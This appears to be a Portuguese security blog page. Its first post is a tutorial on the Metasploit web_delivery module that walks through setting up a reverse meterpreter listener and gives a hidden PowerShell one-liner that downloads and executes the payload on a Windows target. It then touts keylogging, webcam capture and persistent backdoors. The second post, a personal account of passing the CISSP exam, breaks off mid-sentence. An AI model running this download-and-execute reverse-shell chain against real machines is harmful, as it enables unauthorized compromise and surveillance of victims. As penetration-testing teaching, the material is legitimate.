Muitas vezes estamos em situacoes em que temos acesso a uma maquina que precisamos explorar, mas sem as ferramentas adequadas ou necessarias naquele momento. Um dos modulos do Metasploit que pode nos ajudar em cenarios assim e o web delivery, que permite que remotamente nos conectemos a um IP e tenhamos de retorno um shell, seja command.com ou meterpreter no caso do Metasploit.Entretanto, e necessario que deixemos nossa maquina com o Metasploit (possivelmente na nuvem) ja configurada aguardando a conexao.Nesse exemplo, vamos ver como compromenter uma maquina Windows, entregando um shell meterpreter via PowerShell (poderia ser via Python ou PHP tambem).Em primeiro lugar precisamos entrar no msfconsole e digitar os seguintes comandos:use exploit/multi/script/web_deliveryset lhost [Kali IP Address]set lport 4444Quando digitamos o comando "show targets", vemos as opcoes de entrega do shell, que em nosso caso sera PowerShell:Entao, para selecionar o tipo de entrega e o shell que sera entregue, digitamos os dois seguintes comandos:set target 2set payload windows/meterpreter/reverse_tcpE entao executamos o comando "exploit", para colocar nossa maquina numa condicao de "listening", que e quando fica aguardando alguem conectar-se para entregar o payload:E entao, na maquina alvo, onde temos acesso fisico, digitamos o comando abaixo para forcar a conexao e a entrega do payload:powershell.exe -nop -w hidden -c IEX ((new-object net.webclient).downloadstring('http://192.168.1.39:8080/eAtfMo'))E entao, na maquina onde temos o Metasploit, veremos uma tentativa de conexao, e uma sessao sendo criada:E entao, ou voce ja tera um shell via meterpreter com o prompt "meterpreter>" aberto, ou simplesmente precisara digitar o comando "sessions -i [numero-da-sessao]" para conectar-se e comecar a brincadeira.A partir dai, tera todo o poder do meterpreter disponivel em suas maos: keylogger, screenshot, ativar webcam para videos e fotos, network sniffing, escalada de privilegios, criar backdoor persistente e etc. Quando quiser finalizar a sessao, basta digitar "exit" e cair de novo no msfconsole.Have some fun! Hoje fiz minha prova de CISSP, primeira e unica tentativa.Ha algumas semanas atras agendei minha prova para o dia 26 de Outubro/2016, mas anteontem recebi um email da Pearson Vue dizendo que o centro de exames credenciado pela ISC2 aqui no Rio de Janeiro (Allen) nao poderia aplicar a prova no dia agendado, e que precisaria remarcar. Qual nao foi minha surpresa ao ver que as unicas datas disponiveis seriam dias 08 ou 09 de Setembro (hoje). Caso nao quisesse remarcar para esses dias, tinha duas opcoes: solicitar o reembolso e desistir da prova, ou ir a outro estado para fazer a prova.Como estava contando com as duas primeiras semanas de Outubro para estudar, durante minhas ferias, nao me sentia preparado para a prova, pois so havia lido o livro "CISSP 11th Hour, 2nd Edition". Mas um grande amigo meu (valeu Matuck!), me deu forca para reagendar a prova para hoje mesmo, ja que meu atual empregador estava pagando minha prova passando ou nao no exame.Bem, depois de desfiar esse terco e contar minha historia triste, e hora de contar um pouco de minha estrategia para a prova. Usei basicamente quatro fontes de estudo para me preparar o pouco que foi possivel. Foram elas, de acordo com o periodo:- nos